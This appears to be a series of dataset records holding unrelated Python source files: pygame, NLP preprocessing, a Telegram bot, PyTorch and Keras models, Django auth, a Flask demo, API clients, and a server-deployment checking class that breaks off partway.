\n def get_time(self):\n \"\"\"Return how long the game has been running in milliseconds\n\n Returns:\n float: time game has been running in milliseconds\n \"\"\" \n return (pygame.time.get_ticks()/1000) - self._score.get_start_time()\n \n def display_timer(self, window, font):\n text = \"Timer: {}s\".format(str(round(self.get_time(),1))) # round to 1 decimal point\n colour = (0, 255, 0)\n text_surface = font.render(text, True, colour)\n text_rect = text_surface.get_rect()\n text_rect.center = (75, 25)\n return (text_surface, text_rect)\n \n def display_backpack(self, window, font):\n # scale the coin image to be smaller\n small_coin_image = pygame.transform.scale(self.maze.coin_image, (20, 20))\n # display the text beside the coin showing the num of items in backpack\n text = \"x {}\".format(str(self.player._backpack))\n # green\n colour = (0, 255, 0)\n # creating the surface and location to render the text\n text_surface = font.render(text, True, colour)\n text_rect = text_surface.get_rect()\n text_rect.center = (75, 50)\n # pass info so game_view has everything it needs to render\n return (text_surface, text_rect, small_coin_image)","sub_path":"Maze/controllers/game_controller.py","file_name":"game_controller.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"437296972","text":"import conllu\nimport re\n\n\nallowed_char_re = re.compile(r'[^a-zA-Zа-яА-Я.,?!ёЁ\"]')\nis_russian_word = re.compile(r'[а-яА-ЯёЁ]+')\nis_english_word = re.compile(r'[a-zA-Z]+')\n\n\nclass Preprocessor:\n\n def __init__(self, lang: str):\n if lang == 'rus':\n self.word_checking_re = is_russian_word\n elif lang == 'eng':\n self.word_checking_re = is_english_word\n else:\n raise ValueError(f\"Language {lang} is not supported!\")\n\n def get_dataset_from_file(self, data_path, window_size):\n with open(data_path, 'r') as f:\n raw_dataset = f.read()\n sentences = conllu.parse(raw_dataset)\n dataset = self.get_dataset(sentences, window_size)\n return dataset\n\n def get_dataset(self, sentences, window_size):\n dataset = []\n for sentence in sentences:\n text, lemmas = self.prepare_sentence(sentence)\n for lemma in lemmas:\n target, contexts = self.get_training_samples(text, lemma, window_size)\n dataset.append({\n \"input\": contexts[0] + target + contexts[1],\n \"target\": list(lemma[\"lemma\"])\n })\n return dataset\n\n @staticmethod\n def preprocess(text):\n text = allowed_char_re.sub(' ', text)\n text = re.sub(' +', ' ', text)\n return text\n\n def is_fits_language(self, text):\n return self.word_checking_re.fullmatch(text)\n\n def prepare_sentence(self, sentence_tokens):\n text = ''\n cur_pointer = 0\n lemmas = []\n for s in sentence_tokens:\n if self.is_fits_language(s['form']):\n lemmas.append(\n {\n \"form\": s['form'],\n \"lemma\": s['lemma'],\n \"start_idx\": cur_pointer,\n \"end_idx\": cur_pointer + len(s['form'])\n }\n )\n if s['misc'] is not None and s['misc']['SpaceAfter'] == 'No':\n cur_pointer += len(s['form'])\n text += s['form']\n else:\n cur_pointer += len(s['form']) + 1\n text += s['form'] + ' '\n\n text = text.strip(' ')\n return text, lemmas\n\n @staticmethod\n def get_training_samples(text, lemma, window_size):\n chars = list(text)\n target_word = lemma['form']\n\n left_border = max(0, lemma['start_idx'] - window_size)\n left_context = chars[left_border:lemma['start_idx']]\n\n right_border = min(len(text), lemma['end_idx'] + window_size)\n right_context = chars[lemma['end_idx']:right_border]\n\n target = [''] + list(target_word) + ['']\n return target, (left_context, right_context)\n","sub_path":"src/lematus/data_utils/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"7218546","text":"import redis\nimport json \nimport time\nimport os\nimport telebot\nimport jinja2\n\nrds = redis.from_url(os.environ.get(\"REDIS_URL\",\"redis://localhost:6379\"))\nkey = \"user:0:users\"\nbot = telebot.TeleBot(os.environ.get(\"BOT_TOKEN\",\"\"))\n\nusers = rds.get(key)\nif type(users) is bytes: users = users.decode('utf-8')\nif users: users = json.loads(users)\nusers = users or []\n\n\nSHEDULE_MESSAGE = jinja2.Template(\"*Расписание на сегодня* 📆 \\n\\n{% for event in shedule %}*{{event.time}}*\\n\\t{% if event.type == 1 %}☑️ _{% elif event.type>1%}✅* {% else %}◻️ {% endif %}{{event.title}}{% if event.type == 1 %}_{% elif event.type>1%}*{% endif %}\\n\\n{% endfor %}\")\ncur_date = time.strftime(\"%d.%m.%Y\")\nshedule = base.get_day_shedule(bot, cur_date)\n\nif shedule: reply_message = SHEDULE_MESSAGE.render(shedule=shedule)\nelse: reply_message = bot.const[\"shedule-is-empty\"]\n\nfor user in users:\n\tbot.send_message(message.u_id, user[\"id\"], parse_mode=\"Markdown\")\n","sub_path":"scripts/morning_shedule.py","file_name":"morning_shedule.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"244814633","text":"import torch\nimport torch.nn as nn\nimport torchvision.models as models\nimport torch.nn.functional as F\n\n\nclass ImgEncoder(nn.Module):\n\n def __init__(self, embed_dim):\n\n super(ImgEncoder, self).__init__()\n self.model = models.vgg19(pretrained=True)\n in_features = self.model.classifier[-1].in_features\n self.model.classifier = nn.Sequential(*list(self.model.classifier.children())[:-1]) # remove vgg19 last layer\n self.fc = nn.Linear(in_features, embed_dim)\n\n def forward(self, image):\n\n with torch.no_grad():\n img_feature = self.model(image) # (batch, channel, height, width)\n img_feature = self.fc(img_feature)\n\n l2_norm = F.normalize(img_feature, p=2, dim=1).detach()\n return l2_norm\n\nclass QuEncoder(nn.Module):\n\n def __init__(self, qu_vocab_size, word_embed, hidden_size, num_hidden, qu_feature_size):\n\n super(QuEncoder, self).__init__()\n self.word_embedding = nn.Embedding(qu_vocab_size, word_embed)\n self.tanh = nn.Tanh()\n self.lstm = nn.LSTM(word_embed, hidden_size, num_hidden) # input_feature, hidden_feature, num_layer\n self.fc = nn.Linear(2*num_hidden*hidden_size, qu_feature_size)\n\n def forward(self, question):\n\n qu_embedding = self.word_embedding(question) # (batchsize, qu_length=30, word_embed=300)\n qu_embedding = self.tanh(qu_embedding)\n qu_embedding = qu_embedding.transpose(0, 1) # (qu_length=30, batchsize, word_embed=300)\n _, (hidden, cell) = self.lstm(qu_embedding) # (num_layer=2, batchsize, hidden_size=1024)\n qu_feature = torch.cat((hidden, cell), dim=2) # (num_layer=2, batchsize, 2*hidden_size=1024)\n qu_feature = qu_feature.transpose(0, 1) # (batchsize, num_layer=2, 2*hidden_size=1024)\n qu_feature = qu_feature.reshape(qu_feature.size()[0], -1) # (batchsize, 2*num_layer*hidden_size=2048)\n qu_feature = self.tanh(qu_feature)\n qu_feature = self.fc(qu_feature) # (batchsize, qu_feature_size=1024)\n\n return qu_feature\n\nclass VQAModel(nn.Module):\n\n def __init__(self, feature_size, qu_vocab_size, ans_vocab_size, word_embed, hidden_size, num_hidden):\n\n super(VQAModel, self).__init__()\n self.img_encoder = ImgEncoder(feature_size)\n self.qu_encoder = QuEncoder(qu_vocab_size, word_embed, hidden_size, num_hidden, feature_size)\n self.dropout = nn.Dropout(0.5)\n self.tanh = nn.Tanh()\n self.fc1 = nn.Linear(feature_size, ans_vocab_size)\n self.fc2 = nn.Linear(ans_vocab_size, ans_vocab_size)\n\n def forward(self, image, question):\n\n img_feature = self.img_encoder(image) # (batchsize, feature_size=1024)\n qst_feature = self.qu_encoder(question)\n combined_feature = img_feature * qst_feature\n combined_feature = self.dropout(combined_feature)\n combined_feature = self.tanh(combined_feature)\n combined_feature = self.fc1(combined_feature) # (batchsize, ans_vocab_size=1000)\n combined_feature = self.dropout(combined_feature)\n combined_feature = self.tanh(combined_feature)\n logits = self.fc2(combined_feature) # (batchsize, ans_vocab_size=1000)\n\n return logits\n","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"456294110","text":"from tkinter import *\nfrom tkinter import ttk\nroot = Tk()\nlogo=PhotoImage(file=\"kct-logo.png\")\n\nbtn = ttk.Button(root, text=\"Proceed\")\nbtn.pack()\ndef proceed():\n print(\"clicked!\")\nbtn.config(command=proceed)\nlabel=ttk.Label(root,text=\"Welcome!!\")\nlabel.pack()\nbtn.config(image=logo,compound=LEFT)\nsmall_logo=logo.subsample(5,5)\nbtn.config(image=small_logo)\n\n\n","sub_path":"03tcltk_introwidgets.py","file_name":"03tcltk_introwidgets.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"60061849","text":"import secrets\n\nimport jwt\nfrom django.conf import settings\nfrom django.contrib.auth.base_user import AbstractBaseUser\nfrom django.db import models\n\nfrom webpos_common.models import BaseModel\nfrom webpos_common.utils import get_now\n\n\nclass Account(BaseModel, AbstractBaseUser):\n USERNAME_FIELD = \"email\"\n\n name = models.CharField('이름', max_length=40)\n email = models.CharField('이메일', max_length=128, unique=True)\n\n def __str__(self):\n return f\"{self.name} <{self.email}>\"\n\n\nclass AccessToken:\n EXPIRE_TIME = {'hours': 1}\n ALGORITHM = \"HS256\"\n\n def __init__(self, account:Account=None, value:str=None):\n if account:\n self.email = account.email\n\n if value:\n self.value = value\n\n def create_token(self):\n now = get_now()\n self.issued_at = now\n self.expire_at = now.add(**AccessToken.EXPIRE_TIME)\n\n payload = {\n 'email': self.email,\n 'iat': self.issued_at,\n 'exp': self.expire_at\n }\n self.value = jwt.encode(payload=payload, key=settings.SECRET_KEY, algorithm=self.ALGORITHM)\n return self.value\n\n def decrypt_token(self):\n payload = jwt.decode(self.value, settings.SECRET_KEY, algorithms=[self.ALGORITHM,])\n self.email = payload['email']\n self.issued_at = payload['iat']\n self.expire_at = payload['exp']\n return payload\n\n\nclass RefreshToken(models.Model):\n EXPIRE_TIME = {'years': 1}\n value = models.CharField(max_length=43)\n issued_at = models.DateTimeField(auto_now_add=True)\n expire_at = models.DateTimeField(null=True)\n account = models.ForeignKey(Account, on_delete=models.DO_NOTHING)\n\n def generate(self):\n self.value = self.generate_refresh_token()\n self.expire_at = get_now().add(**self.EXPIRE_TIME)\n self.save()\n\n def generate_refresh_token(self):\n return secrets.token_urlsafe(32)\n\n @property\n def is_expired(self):\n return self.expire_at < get_now()\n","sub_path":"webpos_account/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430116876","text":"from tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Dense, Activation, Dropout, Input,\\\n TimeDistributed, Conv1D\nfrom tensorflow.keras.layers import GRU, BatchNormalization\n\n\ndef create_model(input_shape):\n \"\"\"\n Function creating the model's graph in Keras.\n\n Argument:\n input_shape -- shape of the model's input data (using Keras conventions)\n\n Returns:\n model -- Keras model instance\n \"\"\"\n\n X_input = Input(shape=input_shape)\n\n # Step 1: CONV layer (≈4 lines)\n X = Conv1D(196, kernel_size=15, strides=4)(\n X_input) # CONV1D\n # Batch normalization\n X = BatchNormalization()(X)\n X = Activation('relu')(X) # ReLu activation\n X = Dropout(0.8)(X) # dropout (use 0.8)\n\n # Step 2: First GRU Layer (≈4 lines)\n # GRU (use 128 units and return the sequences)\n X = GRU(units=128, return_sequences=True)(X)\n X = Dropout(0.8)(X) # dropout (use 0.8)\n # Batch normalization\n X = BatchNormalization()(X)\n\n # Step 3: Second GRU Layer (≈4 lines)\n # GRU (use 128 units and return the sequences)\n X = GRU(units=128, return_sequences=True)(X)\n X = Dropout(0.8)(X) # dropout (use 0.8)\n # Batch normalization\n X = BatchNormalization()(X)\n X = Dropout(0.8)(X) # dropout (use 0.8)\n\n # Step 4: Time-distributed dense layer (≈1 line)\n X = TimeDistributed(Dense(1, activation=\"sigmoid\"))(\n X) # time distributed (sigmoid)\n\n model = Model(inputs=X_input, outputs=X)\n\n return model\n","sub_path":"utils/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"24377559","text":"from pathlib import Path\n\nfrom whispers.utils import string_is_function, string_is_quoted, strip_string\n\n\nclass Java:\n def pairs(self, filepath: Path):\n for line in filepath.open(\"r\").readlines():\n if line.count(\"=\") == 1:\n yield from self.parse_assignment(line)\n\n def parse_assignment(self, line: str):\n key, value = line.split(\"=\")\n key = strip_string(key).split(\" \")[-1]\n value = value.replace(\";\", \"\").strip()\n if string_is_quoted(value) and not string_is_function(value):\n yield key, value\n","sub_path":"whispers/plugins/java.py","file_name":"java.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"404680503","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport matplotlib.patches as patches\nfrom mpl_toolkits.mplot3d import Axes3D\nimport sys \n\nN=int(sys.argv[1])\nL=float(sys.argv[2])\n\n#N=4\n#L=30.0\n\nx,y,z=np.loadtxt(\"positions.dat\",usecols=(0,1,2),unpack=True)\n\nnsteps=len(x)/N\nnsteps=int(nsteps)\n\nxti=np.zeros((N,nsteps))\nyti=np.zeros((N,nsteps))\nzti=np.zeros((N,nsteps))\n\n#complexity n^2\nfor i in range(N):\n for t in range(nsteps):\n s=N*t+i\n xti[i][t]=x[s]\n yti[i][t]=y[s]\n zti[i][t]=z[s]\n\n\n#print(x)\n\n#print(xti)\n\n\nfig = plt.figure()\nax = Axes3D(fig)\n\ndef animate(t):\n ax.clear()\n ax.set_xlim(-L/2.0,L/2.0)\n ax.set_ylim(-L/2.0,L/2.0)\n ax.set_zlim(-L/2.0,L/2.0)\n\n for i in range(N):\n xp=xti[i][t]\n yp=yti[i][t]\n zp=zti[i][t]\n ax.scatter(xp,yp,zp)\n# patch=patches.Circle((xp,yp), 0.01, color='blue')\n# ax.add_patch(patch)\n\nanim=animation.FuncAnimation(fig,animate,nsteps,interval=1, blit=False)\n\nplt.show()\n\n\n#anim.save('md_test_1.MP4', writer='imagemagick', fps=20)\n","sub_path":"animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281895097","text":"import json, urllib, urllib2\nfrom urlparse import urlparse\nfrom collections import OrderedDict\n\neuropeana_api = \"http://europeana.eu/api/v2\"\nwskey = \"hb8sGDBPe\"\n\ndef artworkData(item):\n if \"url\" in item:\n url = item[\"url\"]\n print(\"europeana record: \"+url)\n ids = europeanaId(url)\n if ids:\n data = getEuropeana(ids)\n if data and \"object\" in data:\n return europeanaItem(item, data)\n\n\ndef getEuropeana(ids):\n params = {\n \"profile\":\"rich\",\n \"wskey\":wskey\n }\n request = urllib2.Request(europeana_api + '/record/'+ids[0]+'/'+ids[1]+'.json' + '?' + urllib.urlencode(params))\n response = urllib2.urlopen(request)\n results = json.load(response)\n return results \n\ndef europeanaId(url):\n path = urlparse(url).path\n if path.find(\"portal/record\") >= 0:\n splitted = path.split('/')\n if len(splitted) > 3:\n id0 = splitted[3]\n id1 = splitted[4].split('.')[0]\n return [id0,id1]\n\ndef europeanaItem(seed, data):\n aggregation = data[\"object\"][\"europeanaAggregation\"]\n proxy = {}\n for p in reversed(data[\"object\"][\"proxies\"]):\n for k,v in p.iteritems():\n proxy[k] = v\n\n item = {\n \"url\": aggregation[\"edmLandingPage\"],\n \"attributes\": {}\n }\n\n if \"edmPreview\" in aggregation:\n item[\"image\"] = aggregation[\"edmPreview\"]\n\n #if \"label\" in seed:\n # item[\"title\"] = seed[\"label\"]\n if europeanaKeyValue(\"dcTitle\",proxy):\n item[\"title\"] = europeanaKeyValue(\"dcTitle\", proxy)[0]\n\n if europeanaKeyValue(\"dcDescription\", proxy):\n item[\"description\"] = europeanaKeyValue(\"dcDescription\", proxy)[0]\n\n if europeanaKeyValue(\"dcSource\", proxy):\n item[\"source\"] = europeanaKeyValue(\"dcSource\", proxy)[0]\n elif europeanaKeyValue(\"dcPublisher\", proxy):\n item[\"source\"] = europeanaKeyValue(\"dcPublisher\", proxy)[0]\n\n for key,value in proxy.iteritems():\n if not( key in ['dcTitle','dcSource','dcPublisher','dcDescription','dctermsProvenance','dcIdentifier','dcLanguage'] ):\n if not(\"dcterms\" in key):\n if europeanaValue(value):\n if \"dc\" in key:\n key = key[2:]\n values = list(OrderedDict.fromkeys(europeanaValue(value)))\n item[\"attributes\"][key] = values\n\n print(item)\n\n return item\n\n\ndef europeanaKeyValue(key, source):\n if key in source:\n return europeanaValue(source[key])\n\ndef europeanaValue(v):\n if v and isinstance(v, dict):\n if \"nl\" in v:\n return v[\"nl\"]\n elif \"def\" in v:\n return v[\"def\"]\n elif \"en\" in v:\n return v[\"en\"]\n\n\n#artworkData(\"http://www.europeana.eu/portal/record/2021608/dispatcher_aspx_action_search_database_ChoiceCollect_search_priref_10581.html\")","sub_path":"lvartwork.py","file_name":"lvartwork.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"243222814","text":"from django.urls import path\nfrom django.views.generic import TemplateView\n\n\nfrom .views import (\n RegistrationAPIView,\n LoginAPIView,\n UserActivationAPIView)\n\napp_name = \"authentication\"\n\nurlpatterns = [\n path('users/register', RegistrationAPIView.as_view(),\n name='user_signup'),\n path('users/login', LoginAPIView.as_view(),\n name='user_login'),\n path('auth/', UserActivationAPIView.as_view(),\n name='activate_user'),\n path('users/verified', TemplateView.as_view(\n template_name='account_verified.html'))\n]\n","sub_path":"leavemanagementsystem/leavemanagementsystem/apps/authentication/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"407068296","text":"import requests\nimport json\nimport argparse\n\nfile = open(\"config.json\", \"r\")\ndata = json.load(file)\nfile.close()\n\nUSER_ID = data['USER_ID']\nAPI_TOKEN = data['API_TOKEN']\nAPI_ROOT = data['API_ROOT']\nAUTH = (USER_ID, API_TOKEN)\n\ndef websites_update():\n\n endpoint_url = API_ROOT % \"websites/update\"\n parser = argparse.ArgumentParser(description='Updates a website.')\n parser.add_argument('-p', '-protocol', type=str, choices = ['Http', 'Https'], help='Gets or sets the default protocol')\n parser.add_argument('-am', '-agentmode', type=str, choices=['Cloud', 'Internal'], default=\"Cloud\", help='Gets or sets the agent mode for the website')\n parser.add_argument('-ru', '-rooturl', type=str, help='Gets or sets the root URL', required=True)\n parser.add_argument('-wg', '-groups', type=str, nargs='*', help='Gets or sets the name of groups this website will belong to')\n parser.add_argument('-lt', '-license', type=str, choices=['Subscription', 'Credit'], help='Gets or sets the type of the subscription', required=True)\n parser.add_argument('-n', '-name', type=str, help='Gets or sets the website name', required=True)\n parser.add_argument('-ce', '-techmail', type=str, help='Gets or sets the technical contact email')\n\n args = parser.parse_args()\n\n json_object = {\n 'DefaultProtocol': args.p,\n 'AgentMode': args.am,\n 'RootUrl': args.ru,\n 'Groups': args.wg,\n 'LicenseType': args.lt,\n 'Name': args.n,\n 'TechnicalContactEmail': args.ce\n }\n\n response = requests.post(endpoint_url, json=json_object, auth=AUTH)\n\n print(\"Response: %s - %s\" % (response.status_code, response.reason))\n\n if (response.status_code == 200):\n print(\"The website has been updated.\")\n\n else:\n print(response.text)\n\n\ndef main():\n\n websites_update()\n\nif __name__ == '__main__':\n main()","sub_path":"websites_update.py","file_name":"websites_update.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"417544316","text":"from flask import Flask, render_template\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n posts = [\n {\n 'title': 'Death or Survive',\n 'content': 'Sword Art Online',\n 'author': 'Kayaba Akihiko',\n 'author_sex': 1\n },\n {\n 'title': 'Ecchi 18+',\n 'content': 'To love RU',\n 'author': 'Hasemi Saki to Yabuki Kentaro',\n 'author_sex': 2\n }\n ]\n return render_template('index.html', posts=posts)\n\n@app.route('/hello')\ndef say_hello():\n return 'Starburst Stream'\n\n@app.route('/say_hi//')\ndef hi(name,age):\n return \"Hi {}, you're {} years old\".format(name,age)\n\n@app.route('/sum//')\ndef sum(num1,num2):\n return str(num1 + num2)\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n ","sub_path":"ProjectC4E/C4E-20/WebModule/Web01/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"247109992","text":"class Compare:\n\n\tdef __init__(self):\n\t\t\"\"\"Construct a container to compare numbers.\"\"\"\n\t\tself.nums = []\n\n\tdef add(self,num):\n\t\t\"\"\"Add a number to object\"\"\"\n\t\tnum = int(num)\n\t\tif num not in self.nums:\n\t\t\tself.nums.append(num)\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef largest(self):\n\t\t\"\"\"Calculate the largest number in the object.\"\"\"\n\t\tnum_length = len(self.nums)\n\t\tif num_length > 0:\n\t\t\tlargest = self.nums[0]\n\t\t\tfor i in range(num_length):\n\t\t\t\tif self.nums[i] > largest:\n\t\t\t\t\tlargest = self.nums[i]\n\t\t\treturn largest\n\t\telse:\n\t\t\treturn -1","sub_path":"exercise22Py/exercise22/exercise22.py","file_name":"exercise22.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"521643719","text":"\"\"\"\n\n REV SOFTWARE CONFIDENTIAL\n\n [2013] - [2016] Rev Software, Inc.\n All Rights Reserved.\n\n NOTICE: All information contained herein is, and remains\n the property of Rev Software, Inc. and its suppliers,\n if any. The intellectual and technical concepts contained\n herein are proprietary to Rev Software, Inc.\n and its suppliers and may be covered by U.S. and Foreign Patents,\n patents in process, and are protected by trade secret or copyright law.\n Dissemination of this information or reproduction of this material\n is strictly forbidden unless prior written permission is obtained\n from Rev Software, Inc.\n\n\"\"\"\nimport argparse\nimport logging\nimport logging.config\n\nimport sys\n\nimport re\n\nimport settings\nfrom server_deployment.abstract_sequence import SequenceAbstract\nfrom server_deployment.cacti import Cacti\n\nfrom server_deployment.cds_api import CDSAPI\n\nfrom server_deployment.server_state import ServerState\nfrom server_deployment.utilites import DeploymentError\n\n\nlogging.config.dictConfig(settings.LOGGING)\nlogger = logging.getLogger('ServerDeploy')\nlogger.setLevel(logging.DEBUG)\n\n\nclass CheckingSequence(SequenceAbstract):\n logger_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"time\": {\"type\": \"string\"},\n \"start_time\": {\"type\": \"string\"},\n \"initial_data\": {\n \"type\": \"object\",\n \"properties\": {\n \"hostname\": {\"type\": \"string\"},\n \"ip\": {\n \"type\": \"string\",\n \"pattern\": \"(([0-9]|[1-9][0-9]|1[0-9]\"\n \"{2}|2[0-4][0-9]|25[0-5])\\.)\"\n \"{3}([0-9]|[1-9][0-9]|1[0-9]\"\n \"{2}|2[0-4][0-9]|25[0-5])\"\n },\n \"login\": {\"type\": \"string\"},\n \"password\": {\"type\": \"string\"},\n\n }\n },\n \"init_step\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n }\n },\n\n \"check_server_consistency\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_ram_size\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_free_space\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_hw_architecture\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_os_version\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_ping_8888\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_hostname\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_hostname\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_ns1_a_record\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_infradb\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_cds\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_nagios\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_puppet\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_ns1_balancing_rule\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_pssh_file\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_fw_rules\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_cacti\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n },\n \"required\": [\n \"time\",\n \"start_time\",\n \"initial_data\",\n \"init_step\",\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\",\n ]\n }\n logger_steps = [\n \"init_step\",\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\",\n ]\n current_server_state = {\n \"time\": None,\n \"init_step\": {\n \"runned\": \"no\",\n },\n \"check_server_consistency\": {\n \"runned\": \"no\",\n },\n \"check_hostname\": {\n \"runned\": \"no\",\n },\n \"check_ns1_a_record\": {\n \"runned\": \"no\",\n },\n \"check_infradb\": {\n \"runned\": \"no\",\n },\n \"check_cds\": {\n \"runned\": \"no\",\n },\n \"check_nagios\": {\n \"runned\": \"no\",\n },\n \"check_puppet\": {\n \"runned\": \"no\",\n },\n \"check_ns1_balancing_rule\": {\n \"runned\": \"no\",\n },\n \"check_pssh_file\": {\n \"runned\": \"no\",\n },\n \"check_fw_rules\": {\n \"runned\": \"no\",\n },\n \"check_cacti\": {\n \"runned\": \"no\",\n },\n }\n\n check_status = {\n \"check_server_consistency\": 'Not checked',\n \"check_hostname\": 'Not checked',\n \"check_ns1_a_record\": \"Not checked\",\n \"check_infradb\": \"Not checked\",\n \"check_cds\": \"Not checked\",\n \"check_nagios\": \"Not checked\",\n \"check_puppet\": \"Not checked\",\n \"check_ns1_balancing_rule\": \"Not checked\",\n \"check_pssh_file\": \"Not checked\",\n \"check_fw_rules\": \"Not checked\",\n \"check_cacti\": \"Not checked\",\n }\n\n def __init__(self, args):\n super(CheckingSequence, self).__init__(args)\n\n self.steps = {\n \"check_server_consistency\": self.check_server_consistency,\n \"check_hostname\": self.check_hostname,\n \"check_ns1_a_record\": self.check_ns1_a_record,\n \"check_infradb\": self.check_infradb,\n \"check_cds\": self.check_cds,\n \"check_nagios\": self.check_nagios,\n \"check_puppet\": self.check_puppet,\n \"check_ns1_balancing_rule\": self.check_ns1_balancing_rule,\n \"check_pssh_file\": self.check_pssh_file,\n \"check_fw_rules\": self.check_fw_rules,\n \"check_cacti\": self.check_cacti,\n\n }\n self.step_sequence = [\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\",\n ]\n\n self.record_type = args.record_type\n # self.zone_name = \"attested.club\"\n self.hosting_name = args.hosting\n self.server = ServerState(\n self.host_name, args.login, args.password,\n self.logger, ipv4=self.ip,\n first_step=self.first_step,\n )\n self.cacti = Cacti(self.host_name, self.logger, self.short_name)\n\n def check_server_consistency(self):\n self.logger.init_new_step(\"check_server_consistency\")\n checking = True\n checking_dict = {\n \"check_ram_size\": 